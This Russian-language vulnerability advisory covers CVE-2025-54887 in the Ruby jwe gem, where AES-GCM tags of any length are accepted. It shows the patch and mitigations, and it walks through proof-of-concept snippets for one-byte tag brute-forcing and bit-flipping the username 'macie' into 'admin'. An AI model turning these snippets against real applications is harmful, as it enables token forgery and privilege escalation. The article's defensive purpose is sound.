Уязвимость в JSON Web Encryption (JWE)
Уязвимость в JSON Web Encryption (JWE)
Категория: Программы Теги: Уязвимости Опубликовано: 16 сентября 2025

Уязвимость BDU:2025-09559 (CVE-2025-54887) JSON Web Encryption (JWE)

Уязвимость BDU:2025-09559 (CVE-2025-54887) в реализации стандарта JSON Web Encryption (JWE) RFC 7516 в библиотеке ruby-jwe связана с отсутствием валидации длины аутентификационного тега при использовании алгоритма AES-GCM. Это позволяет злоумышленнику удалённо подбирать теги, расшифровывать зашифрованные данные без знания ключа и даже подменять содержимое JWE-токенов, что приводит к полному нарушению конфиденциальности и целостности передаваемой информации. Уязвимость особенно опасна в системах, где JWE используется для передачи чувствительных данных — например, в токенах аутентификации, сессиях или конфиденциальных API-запросах.

Анализ уязвимости

Уровень опасности: 9.1 (КРИТИЧЕСКИЙ)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
— Вектор атаки (AV): Сетевой — уязвимость эксплуатируется удалённо через сеть.
— Сложность эксплуатации (AC): Низкая — для успешной атаки не требуется сложных условий.
— Привилегии (PR): Не требуются — атакующему не нужны учётные данные.
— Взаимодействие с пользователем (UI): Не требуется — атака проходит без участия пользователя.
— Область воздействия (S): Не оказывает — уязвимость не распространяется за пределы компонента.
— Конфиденциальность (C): Высокая — возможна утечка конфиденциальных данных.
— Целостность (I): Высокая — возможна модификация данных.
— Доступность (A): Нет влияния — отсутствует влияние.

Условия эксплуатации

Для успешной эксплуатации уязвимости должны быть соблюдены следующие условия:

  1. Целевое приложение использует уязвимую версию (<= 1.1.0) гема jwe для обработки входящих JWE-токенов.

  2. Приложение принимает JWE-токены из ненадежных источников.

  3. Токен должен быть зашифрован с использованием алгоритма A256GCM (или любого другого AES-GCM).

Технический анализ уязвимости

Рассмотрим код исправления, чтобы понять суть проблемы. До патча код в файле lib/jwe/enc/aes_gcm.rb выглядел так:

def setup_cipher(direction, auth_data)
  cipher = OpenSSL::Cipher.new('aes-256-gcm')
  cipher.send(direction)
  cipher.key = cek
  cipher.iv = iv
  cipher.auth_tag = tag if direction == :decrypt
  cipher.auth_data = auth_data
end

Метод setup_cipher просто присваивает тег, полученный из токена, криптографическому контексту OpenSSL без какой-либо предварительной проверки. Согласно стандарту AES-GCM, корректная длина тега аутентификации должна составлять 16 байт (128 бит). Однако библиотека принимала тег любой длины.

Исправление добавляет критически важную проверку:

def setup_cipher(direction, auth_data)
  cipher = OpenSSL::Cipher.new('aes-256-gcm')
  cipher.send(direction)
  cipher.key = cek
  cipher.iv = iv
  if direction == :decrypt
    raise JWE::InvalidData, 'Invalid ciphertext or authentication tag' unless tag.bytesize == 16
    cipher.auth_tag = tag
  end
  cipher.auth_data = auth_data
end

Почему это критично? Алгоритм AES-GCM является аутентифицированным режимом шифрования. Тег аутентификации — это криптографический хэш, вычисленный от открытого текста и дополнительных аутентифицированных данных (AAD). Его предназначение — гарантировать, что данные не были изменены после шифрования. Если не проверять длину тега, механизм аутентификации полностью нарушается.

Анализ кода эксплоита

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости. PoC состоит из двух частей.

Часть 1: Подбор тега и раскрытие информации

Разберем ключевые элементы скрипта:

  1. Создание легитимного токена:

    key = OpenSSL::Random.random_bytes(32)
    data = 'Cats can say meow'
    jwetoken = JWE.encrypt(data, key, alg: 'dir', enc: 'A256GCM')

    Здесь создается валидный JWE-токен с использованием 256-битного ключа и алгоритма AES-GCM.

  2. Разбор токена на составляющие:

    parts = jwetoken.split('.')

    JWE-токен состоит из 5 частей, разделенных точками: заголовок, зашифрованный ключ, вектор инициализации, шифртекст и тег аутентификации.

  3. Атака подбора однобайтового тега:

    (0..255).each do |byte|
        single_byte_tag = [byte].pack('C')
        crafted_jwe = [
          parts[0],
          parts[1],
          parts[2],
          parts[3],
          Base64.urlsafe_encode64(single_byte_tag, padding: false)
        ].join('.')

    Критически важный момент: атакующий создает токен с тегом длиной всего 1 байт и перебирает все возможные значения этого байта (0-255).

  4. Попытка дешифрования:

    decrypted = JWE.decrypt(crafted_jwe, key)

    Уязвимая библиотека принимает тег длиной 1 байт и пытается его верифицировать. При успешной проверке (один из 256 случаев) возвращает расшифрованные данные.

Часть 2: Подмена данных внутри токена

Второй скрипт демонстрирует более сложную атаку:

  1. Анализ структуры шифртекста:

    encrypted_prefix = ciphertext.byteslice(0, 10)
    encrypted_username = ciphertext.byteslice(10, 5)
    encrypted_suffix = ciphertext.byteslice(15..-1)

    Атакующий должен понимать структуру данных внутри токена. В примере предполагается, что позиции 10-15 содержат значение username.

  2. Применение атаки Bit-Flipping:

    username_xor = xor("macie", "admin")
    forged_username = xor(encrypted_username, username_xor)

    Поскольку AES-GCM использует режим счетчика (CTR), изменение битов в шифртексте приводит к таким же изменениям в открытом тексте. Атакующий вычисляет разницу между старым и новым значением и применяет XOR к шифртексту.

  3. Сборка модифицированного токена:

    forged_ciphertext = encrypted_prefix + forged_username + encrypted_suffix

    Создается новый шифртекст с измененными данными.

  4. Подбор тега для нового токена:
    Процесс аналогичен первой части - перебор однобайтового тега для успешной верификации модифицированного токена.

Где используется библиотека и последствия атаки

Библиотека jwe может использоваться в любом Ruby-приложении для обеспечения сквозного шифрования данных. Наиболее частые случаи использования:

  1. JWT-токены с шифрованием

  2. Защищенные каналы передачи данных между микросервисами

  3. Хранение зашифрованных данных в клиентском приложении

Последствия успешной эксплуатации:

  • Раскрытие конфиденциальной информации

  • Подмена данных в токенах (повышение привилегий, изменение финансовых данных)

  • Компрометация ключа GHASH

Способы защиты

  1. Немедленное обновление jwe

  2. Ротация ключей шифрования:
    Все ключи, использовавшиеся с уязвимыми версиями, должны быть заменены.

  3. Валидация на уровне приложения:

    def validate_jwe_token(token)
      parts = token.split('.')
      return false unless parts.size == 5
    
      header_json = Base64.urlsafe_decode64(parts[0])
      header = JSON.parse(header_json)
    
      if header['enc']&.end_with?('GCM')
        auth_tag = Base64.urlsafe_decode64(parts[4])
        return false unless auth_tag.bytesize == 16
      end
    
      return true
    end
Алексей Черемных Алексей Черемных
296